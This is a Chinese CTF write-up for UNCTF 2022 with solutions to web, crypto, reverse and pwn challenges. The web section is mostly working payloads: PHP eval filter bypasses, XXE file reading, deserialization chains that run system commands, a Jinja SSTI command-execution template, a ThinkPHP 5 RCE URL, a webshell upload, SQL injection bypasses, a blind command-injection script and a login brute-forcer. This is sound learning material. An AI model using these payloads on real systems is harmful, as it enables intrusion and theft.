2022-UNCTF部分wp以及web的赛后复现学习

前言

tcltcltcltcltcl,前路漫漫,继续努力。

WEB

1、ezgame

挺有意思的一个游戏,不够玩,直接玩出flag…

2、我太喜欢bilibili大学了

搜索UNCTF,直接出flag

3、babyphp

 进去就是源码,如下:

<?php
highlight_file(__FILE__);
error_reporting(0);
if(isset($_POST["a"])){
    if($_POST["a"]==0&&$_POST["a"]!==0){
        if(isset($_POST["key1"])&isset($_POST["key2"])){
            $key1=$_POST["key1"];
            $key2=$_POST["key2"];
            if ($key1!==$key2&&sha1($key1)==sha1($key2)){
                if (isset($_GET["code"])){
                    $code=$_GET["code"];
                    if(!preg_match("/flag|system|txt|cat|tac|sort|shell|\.| |\'/i", $code)){
                        eval($code);
                    }else{
                        echo "有手就行</br>";
                    }
                }else{
                    echo "老套路了</br>";
                }
            }else{
                echo "很简单的,很快就拿flag了~_~</br>";
            }
        }else{
            echo "百度就能搜到的东西</br>";
        }
    }else{
        echo "easy 不 easy ,baby 真 baby,都是玩烂的东西,快拿flag!!!</br>";
    }
}

payload1:

/index.php?code=var_dump(scandir("/"));

同时post:
a=0a&key1[]=1&key2[]=2

得知flag.txt在根目录

payload2:

/index.php?code=var_dump(file_get_contents(base64_decode(L2ZsYWcudHh0)));  // 里面的base64是 "/flag.txt",为了绕过preg_match的

同时post:
a=0a&key1[]=1&key2[]=2

4、302与深大

 dirsearch 之后发现/Dockerfile页面,以及302重定向前的页面index.php,访问前者,出了半个flag,访问/index.php,同时抓包,阻止重定向,在index.php找到另一半flag

UNCTF{thai_miku_micgo_qka_WEB_GOD}

5、听说php有个xxe漏洞

很基础的xxe,没过滤任何东西。

访问dom.php页面,抓包后post以下内容

<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE xxe[
	<!ELEMENT test ANY >
	<!ENTITY xxe SYSTEM "file:///flag" >]>
<test>
	<name>&xxe;</name>		
</test>

直接获得flag

6、poppop

简单的pop链,题目如下

 <?php
class A{
    public $code = "";
    function __call($method,$args){
        eval($this->code);

    }
    function __wakeup(){
        $this->code = "";
    }
}

class B{
    public $key;
    function __destruct(){
        echo $this->key;
    }
}
class C{
    private $key2;
    function __toString()
    {
        return $this->key2->abab();
    }
}


if(isset($_POST['poc'])) {
    unserialize($_POST['poc']);
}else{
    highlight_file(__FILE__);
} 

直接给exp了:

<?php
class A{
    public $code = "";
    function __call($method,$args){
        eval($this->code);

    }
    function __wakeup(){
        $this->code = "";
    }
}

class B{
    public $key;
    function __destruct(){
        echo $this->key;
    }
}
class C{
    private $key2;
    public function __construct() {
        $this->key2 = new A();
        $this->key2->code = "phpinfo()";
    }
    function __toString()
    {
        return $this->key2->abab();
    }
} 

$a = new B();
$a->key = new C();
$b = serialize($a);
$b = str_replace('A":1:', 'A":2:', $b);
echo urlencode($b);

唯一恶心的就是flag藏在phpinfo里,找了好久没找到…

payload:

post:

poc=O%3A1%3A%22B%22%3A1%3A%7Bs%3A3%3A%22key%22%3BO%3A1%3A%22C%22%3A1%3A%7Bs%3A7%3A%22%00C%00key2%22%3BO%3A1%3A%22A%22%3A2%3A%7Bs%3A4%3A%22code%22%3Bs%3A10%3A%22phpinfo%28%29%3B%22%3B%7D%7D%7D

flag:UNCTF{0cad9b13-54bb-405e-a1de-c532311ee909}

7、eazy ssti

 心态真蚌,和上一题一样,有webshell,就是找不到flag,找了半天才在环境变量里找到…

基础的一道python ssti,在username里输入{{1+1}},进去后有2的回显,知道注入点了,就是构造了,过滤了class,并且用16进制无法绕过,用了另一种绕过方法,参考文章如下:

https://xz.aliyun.com/t/3679#toc-11

https://blog.csdn.net/huangyongkang666/article/details/123628875?spm=1001.2014.3001.5506

{{session['__cla'+'ss__'].__mro__[12]}}找到object基类

{{session['__cla'+'ss__'].__mro__[12]['__subcl'+'asses__']()}}为所有子类,用如下exp即可拿webshell

exp:

{% for c in session['__cla'+'ss__'].__mro__[12]['__subcl'+'asses__']() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].eval("__import__('os').popen('set').read()") }}{% endif %}{% endfor %}

在环境变量中找到了flag:

UNCTF{9eb83d80-ce00-40b4-ab12-e0c023b18b47}

8、easy_upload

 只能上传png文件,并且后端只检测 Content-type,直接写一句话木马的php文件,上传,抓包改Content-type: image/png,蚁剑连接地址。

flag在/home/ctf/flag:UNCTF{bc3bb28d-8016-42a3-aa3b-96164e76408e}

9、签到

逆天签到,20200101一直到20200138还是几来着,就一直查就行,每查一次就会有一个字母,最后拼成flag:

flag{bfff6d206cbcd6ac0870a4f48c7c313b}

10、ezunseri

比较简单的一题php反序列化,源码如下:

<?php
highlight_file(__FILE__);
error_reporting(0);

class Exec
{
    public $content;

    public function execute($var){
        eval($this->content);
    }

    public function __get($name){

        echo $this->content;
       
    }

    public function __invoke(){
        $content = $this->execute($this->content);
    }

    public function __wakeup()
    {
        $this->content = "";
        die("1!5!");
    }

}


class Test
{
    public $test;
    public $key;

    public function __construct(){
        
        $this->test = "test123";
    }

    public function __toString(){
        $name = $this->test;
        $name();
    }

} 

class Login
{
    private $name;
    public $code = " JUST FOR FUN";
    public $key;

    public function __construct($name="UNCTF"){

        $this->name = $name;
    }

    public function show(){

        echo $this->name.$this->code;
    }

    public function __destruct(){

        if($this->code = '3.1415926'){
            return $this->key->name;
        }
    }

}


if(isset($_GET['pop'])){
    
    $a = unserialize($_GET[pop]);
}else{
    
   $a = new Login();
   $a->show();
}  
链子:
Login.__destruct -> Exec.__get -> Test.__toString -> Exec.__invoke -> Exec.execute

exp:

<?php
class Exec
{
    public $content;
    public function execute($var){
        eval($this->content);
    }
    public function __get($name){

        echo $this->content;
       
    }
    public function __invoke(){
        $content = $this->execute($this->content);
    }
    public function __wakeup()
    {
        $this->content = "";
        die("1!5!");
    }
}
class Test
{
    public $test;
    public $key;
    public function __toString(){
        $name = $this->test;
        $name();
    }

}
class Login
{
    private $name;
    public $code = " JUST FOR FUN";
    public $key;
    public function __destruct(){

        if($this->code = '3.1415926'){
            return $this->key->name;
        }
    }
}

$a = new Login();
$a->key = new Exec();
$a->key->content = new Test();
$a->key->content->test = new Exec();
$a->key->content->test->content = "system('cat /flag');";
$b = serialize($a);
$b = str_replace('c":1:', 'c":2:', $b);
echo urlencode($b);

payload:

?pop=O%3A5%3A%22Login%22%3A3%3A%7Bs%3A11%3A%22%00Login%00name%22%3BN%3Bs%3A4%3A%22code%22%3Bs%3A13%3A%22+JUST+FOR+FUN%22%3Bs%3A3%3A%22key%22%3BO%3A4%3A%22Exec%22%3A2%3A%7Bs%3A7%3A%22content%22%3BO%3A4%3A%22Test%22%3A2%3A%7Bs%3A4%3A%22test%22%3BO%3A4%3A%22Exec%22%3A2%3A%7Bs%3A7%3A%22content%22%3Bs%3A20%3A%22system%28%27cat+%2Fflag%27%29%3B%22%3B%7Ds%3A3%3A%22key%22%3BN%3B%7D%7D%7D

flag:UNCTF{1fddc21e-9958-4892-83d9-40a735f34682}

11、babynode

参考:https://www.leavesongs.com/PENETRATION/javascript-prototype-pollution-attack.html

非常基础的js原型链污染,源码:

app.post('/', function(req, res) {
	var flag = 'flag';
	var admin = {};
	let user = {};
	try {
		copy(user,req.body);
	} catch(error){
		res.send("copy error");
		return;
	}
	if(admin.id==='unctf') {
		res.end(flag);
	} else {
		return res.end("error");
	}
})

这里要使 admin.id == ‘unctf’,但其中只有user的赋值,并且还是copy,底层和merge应该差不多,由于user和admin的原型对象是同一个,所以我们可以污染 user 的原型来达成目的。

抓包post内容如下:

POST / HTTP/1.1
Host: 5bf21fdd-0396-4faf-b6bd-14789cd8cf89.node.yuzhian.com.cn
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:106.0) Gecko/20100101 Firefox/106.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/json
Content-Length: 30
Origin: http://5bf21fdd-0396-4faf-b6bd-14789cd8cf89.node.yuzhian.com.cn
Connection: close
Referer: http://5bf21fdd-0396-4faf-b6bd-14789cd8cf89.node.yuzhian.com.cn/
Upgrade-Insecure-Requests: 1

{"__proto__": {"id": "unctf"}}

主要关注点是Content-Type为application/json,post内容为{"__proto__": {"id": "unctf"}}

发包即可拿到flag:

UNCTF{22ca8686bfa31a2ae5f55a7f60009e14}

12、给你一刀

原题,

thinkphp v5 的一个漏洞

payload:
?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=set

在环境变量中找到了flag:UNCTF{Y0u_A3r_so_G9eaD_hacker}

13、世界和平

 额,只能说,做出来了感觉是真的简单…不过sql注入的经验实在是太少,才导致做了比较久,等这比赛打完就去整理一下sql注入相关的知识吧。ok回到这题。

堆叠注入,

过滤了非常多的东西(虽然堆叠注入一般都这样),大致过滤了如下我想使用的单词:

or select information_schema select create handler prepare flag update

先试了一下1;show databases;,回显如下:

Array ( [0] => information_schema ) Array ( [0] => mysql ) Array ( [0] => performance_schema ) Array ( [0] => score_mbamission ) Array ( [0] => score_minnesotaunited ) Array ( [0] => snert )

没啥用,再试了1;show tables;

Array ( [0] => Flag ) Array ( [0] => users )

试一下1;desc Flag;无回显,但1;desc users有回显,如下:

Array
(
    [0] => songname
    [1] => varchar(64)
    [2] => NO
    [3] => 
    [4] => 
    [5] => 
)
Array
(
    [0] => message
    [1] => varchar(128)
    [2] => NO
    [3] => 
    [4] => 
    [5] => 
)

想试试之前遇到的堆叠注入题的方法,但是试了很久没用。

直到发现输入SELECT不会被直接过滤,输入select会被直接过滤,于是试了一下1;SELECT * FROM Flag;,只回显了前半部分的语句,这里是我没经验了,半天不知道发生了什么,以为设置了mysql大小写敏感或者别的什么,但是1;SHOW TABLES;仍然有回显,这就非常让人迷惑,后来在网上查阅资料的时候看到双写绕过,突然顿悟,应该是被replace了一些东西,所以试试双写,最终payload:

1;SELESELECTCT * FROFROMM FlFlagag;

flag:flag{d6a6bc0db10694a2d90e3a69648f3a03},可以说是非常简单了…

14、easy_rce

 非常有意思的一题linux时间盲注,这是我第一次做盲注类型的题目,感觉良好,虽然不是sql注入,但是还是有、意思。ok回到这题

题目源码:

 <?php
# flag in /flag

if(isset($_GET['code'])){

    $code=$_GET['code'];

    if (!preg_match('/\@|\#|\%|:|&|;|\\\\|"|\'|`|\.|\&|\*|>|<|nc|wget|bash|sh|netcat|grep|base64|rev|curl|wget|php|ping|cat|fl|mkdir/i',$code)){

        exec($code,$output,$return_val);

        if(!$return_val)   echo "success";
        else{
            echo "fail"; 
        }
                    
    }
    else{
        die("小黑子,露出只因脚了吧");
    }
}
else{
    highlight_file(__FILE__);
}
?>

 代码非常简单,最主要的过滤点就是preg_match,过滤掉了很多的东西,这里在查看了很多文章和实践之后,最终决定使用less来进行文件读取,,然后使用cut -c命令读取单个字符,并且这里不能出现fl字串,因此使用/f???读取flag,由于前端只会回显"success"和"fail",因此要使用时间注入,一开始构造出的code:

f'if [ $(less /f??? | cut -c {num}) == {char} ]; then sleep 2;fi'

但是后来发现";"也被过滤了,很长时间没想法,但是突然看到了&&||,管道符,其中&被过滤了,但是仍然可以使用||,因此构造如下语句。||的作用:如果前面为假,则执行后面的语句

f'[ $(less /f??? | cut -c {num}) == {char} ] || sleep 2'

分析以下上面这句话,如果对应{num}位置不是{char},则sleep 2秒,否则就是{char}

所以盲注脚本:

import requests as rq
import time

url = 'http://05e0854a-14c1-451b-ac0e-b52dae5825a0.node.yuzhian.com.cn/'

list1 = [chr(i) for i in range(65, 91)]
list2 = [chr(i) for i in range(97, 123)]
list3 = [str(i) for i in range(10)]
list_total = list1 + list2 + list3
list_total.append("{")
list_total.append("}")
list_total.append("_")
list_total.append("-")
list_total.append("=")

num = 7
flag = "UNCTF{"
while True:
    code = f'less /f??? | cut -c {num}'
    for char in list_total:
        payload = f'[ $({code}) == {char} ] || sleep 2'
        params = {
            'code': payload
        }
        t1 = time.time()
        resp = rq.post(url=url, params=params)
        t2 = time.time()
        if 'fail' in resp.text or '小黑子,露出只因脚了吧' in resp.text:
            print(resp.text)
            print("命令结束或有误!")
            break
        if 'success' in resp.text:
            if t2 - t1 > 1.5:
                print(f"第{num}个数不是{char}")
            else:
                flag += char
                print(f"flag:{flag}")
                break
    num += 1

 经过几次观察,数字是最多的,然后是小写字母,没有大写字母,所以上面的脚本的列表稍微改一下顺序能提高很大的效率,自己改吧。

最终获得flag:UNCTF{552d6094-637f-42d5-b096-d96e23267fbf}

没做出的题目的思路

还是tcltcltcl,复现在文章结尾

1、随便注

名字很熟悉,buu上做过2019年强网杯的随便注,题目也有很大的相似性,但是做了一定的改变。

2019强网杯的源码主体如下:

if ($res){//使用multi_query()执行一条或多条sql语句
      do{
        if ($rs = $mysqli->store_result()){//store_result()方法获取第一条sql语句查询结果
          while ($row = $rs->fetch_row()){
            var_dump($row);
            echo "<br>";
          }
          $rs->Close(); //关闭结果集
          if ($mysqli->more_results()){  //判断是否还有更多结果集
            echo "<hr>";
          }
        }
      }while($mysqli->next_result()); //next_result()方法获取下一结果集,返回bool值
    } else {
      echo "error ".$mysqli->errno." : ".$mysqli->error;
    }

但是在这题中,似乎并没有do while循环,堆叠注入时只会输出<hr>,但是并不会继续输出后续的结果集,并且后续不管注入多少语句,仅会输出一个<hr>,因此合理判断应该没有do while循环。

1' || 1=1#,能够爆出所有字段,但flag不在其中,如此相似的感觉,看样子这题样本就是2019强网杯的随便注,但又有些不同,循环过滤了or和use,没做出来,真的tcl,下面是我做题时的脚本

import requests as rq

url = 'http://6e99b629-a3b5-470e-b419-54ed73a3b9e3.node.yuzhian.com.cn/'

# payload_test = "1';show databases;#"
# payload1 = "2' ORDER by 2#"  # 总共两列,循环过滤了or
# payload2 = "-1' unioron seleorct database(),database()#"  # union 和 select 被过滤,可大写绕过,database: admin
# # payload3 = "-1' UNION SELECT 1,GROUP_CONCAT(table_name) FROM lower('INFORMATION_SCHEMA.TABLES') where database_name='admin'#"
# payload3 = "-1' UNION SELECT 1,table_name FROM mysql.innodb_index_stats WHERE database_name=database()#"
# payload31 = "-1' UNION SELECT 1,table_name FROM mysql.innodb_index_stats#"
payload32 = "-1' UNION SELECT 1,GROUP_CONCAT(*) FROM FLAG_TABLE#"
# # MariaDB 没有 sys.schema_auto_increment_columns 这张表,但是可以用mysql.innodb_table_stats查表名
# # table_name: FLAG_TABLE,news,users,gtid_slave_pos
# payload4 = "-1' UNION SELECT 1,(SELECT GROUP_CONCAT(b) FROM (SELECT 1,2 AS b UNION SELECT * FROM CHAR(0x7573657273))a)#"
# payload5 = "-1' UNION SELECT 1,`1` FROM (SELECT 1,2,3 UNION SELECT * FROM admin)a#"
payload0 = "1';2';114514';#"
payload1 = "1';Set @sql = CONCAT('alert table us', 'ers rename to 123');Prepare stmt FROM @sql;EXECUTE stmt;#"  # set、prepare、rename, table、alert、execute、insert并没有被过滤
payload_test = "1';Set @sql = CONCAT('se','lect * from `FLAG_TABLE`;');Prepare stmt from @sql;EXECUTE stmt;#"
# 过滤的:or use 而且是循环过滤
# 也许我可以用sql预编译拆开users,然后执行一些操作
# INSERT INTO users SELECT flag FROM FLAG_TABLE;
# alter table user rename to users;


# https://zhuanlan.zhihu.com/p/78989602  随便注的源码
# https://blog.csdn.net/weixin_38832257/article/details/126395256 好文
params = {
    'id': payload1
}

resp = rq.post(url=url, params=params)
print(resp.text)

database()是admin

 一开始的想法是用mysql.innodb_index_stats表查询tables(因为or被过滤,information_schema不能用,不过MariaDB中有mysql.innodb_index_stats这张表,存着tables)查到的tables:FLAG_TABLE,news,users,gtid_slave_pos

在后续利用无列名注入时,提示admin.FLAG_TABLE 不存在,也就是说admin这一db中没有这张表,讲实话我不是很理解…所以这条路就没走了

 换了个思路,还是打算用堆叠注入,由于前端没有回显,我只能盲猜,由于输入的是id,所以我猜现在应该是在查询users表,所以想用换表名的方法,将FLAG_TABLE表命名为users,users表命名为其他,不过use被循环过滤,所以想到用sql预编译,但是没有columns,也不知道咋办了

等赛后复现吧,实在是tcl

2、我太喜欢bilibili大学啦修复版

进入admin_unctf.php之后,看见了提示抓包,抓完不知道怎么搞了…

3、快乐三消

进去是三消游戏,.git有源码泄露,用GitHack抓取文件,抓到了index.php和phpinfo.php,在index.php中有一个连接mysql的源码,然后就不知道怎么做了,摆了。

4、ez2048

虽然感觉能玩出来,但是题目我都没怎么看过…摆了

5、SqlSql

给了后端源码,每个注入点都有 addslashes_deep 函数进行过滤:

function addslashes_deep($value){
    if (empty($value)){
        return $value;
    }else {
        return is_array($value) ? array_map('addslashes_deep', $value): addslashes($value);
    }
}

感觉直接注入好像没什么想法,成绩查询页面提示只有admin才能进行查询,而login.php中可以登录而且没验证码校验,合理想到爆破密码,但是没成功…也许是脚本有问题吧,如下:

import requests as rq
import threading

url = 'http://e462ea1b-d697-436c-920a-622a7e9a379e.node.yuzhian.com.cn/login.php'


def yeyeye(start):
    for num in range(start, start + 2000):
        data = {
            'username': 'admin',
            'studentid': f'{num}',
            'submit': '提交'
        }
        # print(f"尝试studentid={num}")
        resp = rq.post(url=url, data=data)
        if '用户名或密码错误捏' in resp.text:
            continue
        else:
            print(resp.text)
            break


if __name__ == '__main__':
    for i in range(0, 1000001, 20000):
        threading.Thread(target=yeyeye, args=(i,)).start()

纯纯没想法了…

Crypto

1、md5-1

挺简单不说了,写个脚本就能出。

2、ezxor

用了一个很牛的一个大佬的脚本,参考链接:

https://www.ruanx.net/many-time-pad/

用到这道题目上,微调了一下参数

import Crypto.Util.strxor as xo
import libnum, codecs, numpy as np

def isChr(x):
    if ord('a') <= x and x <= ord('z'): return True
    if ord('A') <= x and x <= ord('Z'): return True
    return False


def infer(index, pos):
    if msg[index, pos] != 0:
        return
    msg[index, pos] = ord(' ')
    for x in range(len(c)):
        if x != index:
            msg[x][pos] = xo.strxor(c[x], c[index])[pos] ^ ord(' ')

def know(index, pos, ch):
    msg[index, pos] = ord(ch)
    for x in range(len(c)):
        if x != index:
            msg[x][pos] = xo.strxor(c[x], c[index])[pos] ^ ord(ch)


dat = []

def getSpace():
    for index, x in enumerate(c):
        res = [xo.strxor(x, y) for y in c if x!=y]
        f = lambda pos: len(list(filter(isChr, [s[pos] for s in res])))
        cnt = [f(pos) for pos in range(len(x))]
        for pos in range(len(x)):
            dat.append((f(pos), index, pos))

c = [codecs.decode(x.strip().encode(), 'hex') for x in open('Problem.txt', 'r').readlines()]

msg = np.zeros([len(c), len(c[0])], dtype=int)

getSpace()

dat = sorted(dat)[::-1]
for w, index, pos in dat:
    infer(index, pos)

know(1, 19, 't')
know(1, 26, 'h')
know(0, 19, 'k')
know(10, 24, 'e')
know(4, 25, 'e')

print('\n'.join([''.join([chr(c) for c in x]) for x in msg]))

key = xo.strxor(c[0], ''.join([chr(c) for c in msg[0]]).encode())
print(key)

跑出flag:UNCTF{Y0u_are_very_Clever!!!}

3、ceaser

简单的凯撒,表换成了base64表,密文:B6vAy{dhd_AOiZ_KiMyLYLUa_JlL/HY}解密脚本如下:

list1 = [chr(i) for i in range(65, 91)]
list2 = [chr(i) for i in range(97, 123)]
list3 = [str(i) for i in range(10)]
list_total = list1 + list2 + list3
list_total.append("+")
list_total.append("/")
# print(len(list_total))
flag = ''
string1 = 'B6vAy{dhd_AOiZ_KiMyLYLUa_JlL/HY}'
for i in range(len(string1)):
    if string1[i] in list_total:
        j = list_total.index(string1[i])
        flag += list_total[(j + 19) % 64]  # 偏移了19位
    else:
        flag += string1[i]
print(flag)

flag:UNCTF{w0w_Th1s_d1fFerent_c4eSar}

4、md5-2

不难的md5加密,题目代码:

from hashlib import md5

flag='UNCTF{%s}'%md5('x'.encode()).hexdigest()
# x不是一个字符是n个字符

md5_=[]
for i in flag:
    md5_.append(int(md5(i.encode()).hexdigest(),16))
print(md5_)

for i in range(0,len(md5_)):
    if i==0:
        with open('out.txt','a')as file:
            file.write(hex(md5_[i])[2:]+'\n')
    else:
         with open('out.txt','a')as file:
            file.write(hex(md5_[i]^md5_[i-1])[2:]+'\n')   

out.txt文件:

4c614360da93c0a041b22e537de151eb
c1fd731c6d60040369908b4a5f309f41
80fdc84bbb5ed9e207a21d5436efdcfd
b48d19bb99a7e6bb448f63b75bc92384
39eaf918a52fcaa5ed9195e546b021c1
795d6869f32db43ff5b414de3c235514
f59a054403f933c842e9c3235c136367
c80b37816048952a3c0fc9780602a2fa
810ecef68e945c3fe7d6accba8b329bd
cad06891e0c769c7b02c228c8c2c8865
470a96d253a639193530a15487fea36f
470a96d253a639193530a15487fea36f
4bdea6676e5335f857fa8e47249fa1d8
810ecef68e945c3fe7d6accba8b329bd
edbb7ab78cde98a07b9b5a2ab284bf0a
44b43e07e9af05e3b9b129a287e5a8df
a641c08ed66b55c9bd541fe1b22ce5c0
abed1f675819a2c0f65c9b7da8cab301
738c486923803a1b59ef17329d70bbbd
7e209780adf2cd1212e793ae8796ed7c
a641c08ed66b55c9bd541fe1b22ce5c0
a641c08ed66b55c9bd541fe1b22ce5c0
636a84a33e1373324d64463eeb8e7614
6ec65b4ab061843b066cc2a2f16820d5
a4a39b59eb036a4a8922f7142f874114
8c34745bd5b5d42cb3efe381eeb88e4b
5b1ba76b1d36847d632203a75c4f74e2
d861570e7b9998dbafb38c4f35ba08bc
464b7d495dc6019fa4a709da29fc7952
8eb69528cd84b73d858be0947f97b7cc
dd6ac4c783a9059d11cb0910fc95d4a
4b6b0ee5d5f6b24e6898997d765c487c
b0762bc356c466d6b2b8f6396f2e041
8547287408e2d2d8f3834fc1b90c3be9
82947a7d007b9854fa62efb18c9fd91f
8ddafe43b36150de851c83d80bd22b0a
c7b36c5f23587e285e528527d1263c8b
2a0816e8af86e68825c9df0d63a28381
63ce72a42cf62e6d0fdc6c96df4687e3

解密脚本如下:

from hashlib import md5

list1 = [chr(i) for i in range(65, 91)]
list2 = [chr(i) for i in range(97, 123)]
list3 = [str(i) for i in range(10)]
list_total = list1 + list2 + list3
list_total.append("{")
list_total.append("}")
with open(file='out.txt', mode='r') as f:
    content = f.readlines()
    a1 = ''
    a_ = ''
    a_ans = ''
    for i in range(len(content)):
        if i == 0:
            a_ans = content[i].strip()
        else:
            a1 = a_ans
            a_ = content[i].strip()
            a1 = int(a1, 16)
            a_ = int(a_, 16)
            a_ans = hex(a1 ^ a_)[2:]
        # print(a_ans)
        if len(a_ans) == 31:
            a_ans = '0'+a_ans  # 这里由于做异或运算后会出现首部为零被舍去的情况,所以头部要补上'0'
        for item in list_total:
            if md5(item.encode()).hexdigest() == a_ans:
                print(item, end="")

flag:UNCTF{a197271943ceb3c3fe98bcadf10c29d4}

RE

1、whereisyourkey

非常简单的逆向,手撕flag:UNCTF{yesiamflag}

Misc

一题没做…

Pwn

1、welcomeUNCTF2022

nc 一下,输入UNCTF&2022即可

UNCTF{0834c2e4-e716-40da-9970-0f446b3ce066}

2、石头剪刀布

伪随机,赢100次就行,不会pwn,这里想用srand去爆破种子的,但是爆出太多种子了,脚本如下:

#include <stdio.h>
#include <stdlib.h>
int main() {
	int a[15];
	for(int i=0;i<1145141919810;i++) {
		srand(i);
		for(int j=0;j<15;j++) {
			a[j] = (int)rand()%3;
		}
		if(
			a[0] == 1 &&
			a[1] == 1 &&
			a[2] == 2 && 
			a[3] == 2 &&
			a[4] == 0 &&
			a[5] == 2 &&
			a[6] == 2 &&
			a[7] == 1 &&
			a[8] == 2 &&
			a[9] == 2 &&
			a[10] == 2 &&
			a[11] == 0 &&
			a[12] == 0 &&
			a[13] == 2 &&
			a[14] == 1
		) {
			printf("种子是:%d",i);
		}
	}
	return 0;
} 

爆不出,这方法弃用了,接下去用了按键精灵,强撕的,按键精灵脚本:

Delay 1100
Delay 1
KeyPress "Y", 1
Delay 1
KeyPress "Enter", 1
Delay 1
KeyPress "0", 1
Delay 1
KeyPress "Enter", 1
Delay 1
KeyPress "0", 1
Delay 1
KeyPress "Enter", 1
Delay 1
KeyPress "1", 1
Delay 1
KeyPress "Enter", 1
Delay 1
KeyPress "1", 1
Delay 1
KeyPress "Enter", 1
Delay 1
KeyPress "2", 1
Delay 1
KeyPress "Enter", 1
Delay 1

KeyPress "1", 1
Delay 1
KeyPress "Enter", 1
Delay 1
KeyPress "1", 1
Delay 1
KeyPress "Enter", 1
Delay 1
KeyPress "0", 1
Delay 1
KeyPress "Enter", 1
Delay 1
KeyPress "1", 1
Delay 1
KeyPress "Enter", 1
Delay 1
KeyPress "1", 1
Delay 1
KeyPress "Enter", 1
Delay 1

KeyPress "1", 1
Delay 1
KeyPress "Enter", 1
Delay 1
KeyPress "1", 1
Delay 1
KeyPress "Enter", 1
Delay 1
KeyPress "2", 1
Delay 1
KeyPress "Enter", 1
Delay 1
KeyPress "2", 1
Delay 1
KeyPress "Enter", 1
Delay 1
KeyPress "1", 1
Delay 1
KeyPress "Enter", 1
Delay 1

KeyPress "0", 1
Delay 1
KeyPress "Enter", 1
Delay 1
KeyPress "2", 1
Delay 1
KeyPress "Enter", 1
Delay 1
KeyPress "0", 1
Delay 1
KeyPress "Enter", 1
Delay 1
KeyPress "1", 1
Delay 1
KeyPress "Enter", 1
Delay 1
KeyPress "2", 1
Delay 1
KeyPress "Enter", 1
Delay 1

KeyPress "2", 1
Delay 1
KeyPress "Enter", 1
Delay 1
KeyPress "0", 1
Delay 1
KeyPress "Enter", 1
Delay 1
KeyPress "0", 1
Delay 1
KeyPress "Enter", 1
Delay 1
KeyPress "0", 1
Delay 1
KeyPress "Enter", 1
Delay 1
KeyPress "0", 1
Delay 1
KeyPress "Enter", 1
Delay 1

KeyPress "1", 1
Delay 1
KeyPress "Enter", 1
Delay 1
KeyPress "0", 1
Delay 1
KeyPress "Enter", 1
Delay 1
KeyPress "0", 1
Delay 1
KeyPress "Enter", 1
Delay 1
KeyPress "0", 1
Delay 1
KeyPress "Enter", 1
Delay 1
KeyPress "2", 1
Delay 1
KeyPress "Enter", 1
Delay 1

KeyPress "2", 1
Delay 1
KeyPress "Enter", 1
Delay 1
KeyPress "1", 1
Delay 1
KeyPress "Enter", 1
Delay 1
KeyPress "2", 1
Delay 1
KeyPress "Enter", 1
Delay 1
KeyPress "0", 1
Delay 1
KeyPress "Enter", 1
Delay 1
KeyPress "1", 1
Delay 1
KeyPress "Enter", 1
Delay 1

KeyPress "2", 1
Delay 1
KeyPress "Enter", 1
Delay 1
KeyPress "2", 1
Delay 1
KeyPress "Enter", 1
Delay 1
KeyPress "0", 1
Delay 1
KeyPress "Enter", 1
Delay 1
KeyPress "2", 1
Delay 1
KeyPress "Enter", 1
Delay 1
KeyPress "1", 1
Delay 1
KeyPress "Enter", 1
Delay 1

KeyPress "0", 1
Delay 1
KeyPress "Enter", 1
Delay 1
KeyPress "1", 1
Delay 1
KeyPress "Enter", 1
Delay 1
KeyPress "0", 1
Delay 1
KeyPress "Enter", 1
Delay 1
KeyPress "1", 1
Delay 1
KeyPress "Enter", 1
Delay 1
KeyPress "2", 1
Delay 1
KeyPress "Enter", 1
Delay 1

KeyPress "0", 1
Delay 1
KeyPress "Enter", 1
Delay 1
KeyPress "0", 1
Delay 1
KeyPress "Enter", 1
Delay 1
KeyPress "0", 1
Delay 1
KeyPress "Enter", 1
Delay 1
KeyPress "2", 1
Delay 1
KeyPress "Enter", 1
Delay 1
KeyPress "2", 1
Delay 1
KeyPress "Enter", 1
Delay 1

KeyPress "1", 1
Delay 1
KeyPress "Enter", 1
Delay 1
KeyPress "2", 1
Delay 1
KeyPress "Enter", 1
Delay 1
KeyPress "1", 1
Delay 1
KeyPress "Enter", 1
Delay 1
KeyPress "0", 1
Delay 1
KeyPress "Enter", 1
Delay 1
KeyPress "1", 1
Delay 1
KeyPress "Enter", 1
Delay 1

KeyPress "0", 1
Delay 1
KeyPress "Enter", 1
Delay 1
KeyPress "2", 1
Delay 1
KeyPress "Enter", 1
Delay 1
KeyPress "2", 1
Delay 1
KeyPress "Enter", 1
Delay 1
KeyPress "1", 1
Delay 1
KeyPress "Enter", 1
Delay 1
KeyPress "1", 1
Delay 1
KeyPress "Enter", 1
Delay 1

KeyPress "0", 1
Delay 1
KeyPress "Enter", 1
Delay 1
KeyPress "0", 1
Delay 1
KeyPress "Enter", 1
Delay 1
KeyPress "1", 1
Delay 1
KeyPress "Enter", 1
Delay 1
KeyPress "0", 1
Delay 1
KeyPress "Enter", 1
Delay 1
KeyPress "1", 1
Delay 1
KeyPress "Enter", 1
Delay 1

KeyPress "1", 1
Delay 1
KeyPress "Enter", 1
Delay 1
KeyPress "1", 1
Delay 1
KeyPress "Enter", 1
Delay 1
KeyPress "1", 1
Delay 1
KeyPress "Enter", 1
Delay 1
KeyPress "0", 1
Delay 1
KeyPress "Enter", 1
Delay 1
KeyPress "2", 1
Delay 1
KeyPress "Enter", 1
Delay 1

KeyPress "1", 1
Delay 1
KeyPress "Enter", 1
Delay 1
KeyPress "2", 1
Delay 1
KeyPress "Enter", 1
Delay 1
KeyPress "1", 1
Delay 1
KeyPress "Enter", 1
Delay 1
KeyPress "2", 1
Delay 1
KeyPress "Enter", 1
Delay 1
KeyPress "2", 1
Delay 1
KeyPress "Enter", 1
Delay 1

KeyPress "0", 1
Delay 1
KeyPress "Enter", 1
Delay 1
KeyPress "1", 1
Delay 1
KeyPress "Enter", 1
Delay 1
KeyPress "1", 1
Delay 1
KeyPress "Enter", 1
Delay 1
KeyPress "1", 1
Delay 1
KeyPress "Enter", 1
Delay 1
KeyPress "2", 1
Delay 1
KeyPress "Enter", 1
Delay 1

KeyPress "2", 1
Delay 1
KeyPress "Enter", 1
Delay 1
KeyPress "0", 1
Delay 1
KeyPress "Enter", 1
Delay 1
KeyPress "2", 1
